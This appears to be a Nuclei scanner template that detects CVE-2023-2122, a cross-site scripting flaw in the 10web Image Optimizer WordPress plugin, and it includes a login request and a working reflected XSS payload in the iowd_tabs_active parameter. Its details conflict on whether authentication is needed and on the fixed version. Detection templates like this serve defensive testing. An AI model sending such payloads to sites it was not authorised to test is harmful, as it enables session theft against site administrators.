id: CVE-2023-2122

info:
  name: Image Optimizer by 10web < 1.0.26 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Image Optimizer by 10web before 1.0.26 is susceptible to cross-site scripting via the iowd_tabs_active parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the iowd_tabs_active parameter to steal WordPress administrator session cookies.
  remediation: Fixed in version 1.0.27
  reference:
    - https://wpscan.com/vulnerability/936fd93a-428d-4744-a4fc-c8da78dcbe78
    - https://wordpress.org/plugins/image-optimizer-wd/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2122
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2122
    cwe-id: CWE-79
    epss-score: 0.17762
    epss-percentile: 0.95216
    cpe: cpe:2.3:a:10web:image_optimizer:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: 10web
    product: image_optimizer
    framework: wordpress
  tags: cve2023,cve,wpscan,xss,image-optimizer-wd,wordpress,wp-plugin,wp,authenticated,10web,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=iowd_settings&msg=1&iowd_tabs_active=generalry8uo%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.domain)%3Ef0cmo HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body_2, "<img src=a onerror=alert(document.domain)>")'
          - 'contains(body_2, "Image optimizer")'
        condition: and
# digest: 4a0a0047304502206adfdf78512f0b1c3c5e451ba64bdc5370e3ac4dd1154860ee1e3fae19fc98b40221009ea0bba13990595acd0350a6a09e2e04321f7548204d8f22f806eb04ae1c3beb:922c64590222798bb761d5b6d8e72950